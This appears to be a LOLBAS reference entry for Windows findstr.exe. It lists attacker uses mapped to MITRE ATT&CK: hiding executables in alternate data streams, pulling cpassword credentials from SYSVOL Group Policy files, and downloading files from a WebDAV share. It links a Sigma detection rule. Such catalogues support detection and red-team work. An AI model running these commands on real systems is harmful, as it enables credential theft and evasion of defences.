Findstr.exe

Commands

1. ADSUser T1564.004

   Add a file to an alternate data stream to hide from defensive counter measures

   findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe

   Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

2. ADSUser T1564.004

   Add a file to an alternate data stream from a webdav server to hide from defensive counter measures

   findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe

   Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

3. CredentialsUser T1552.001

   Find credentials stored in cpassword attrbute

   findstr /S /I cpassword \\sysvol\policies\*.xml

   Search for stored password in Group Policy files stored on SYSVOL.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

4. DownloadUser T1105

   Download/Copy file from webdav server

   findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}

   Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.

   os: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

• Sigma https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml

Resources

• https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
• https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f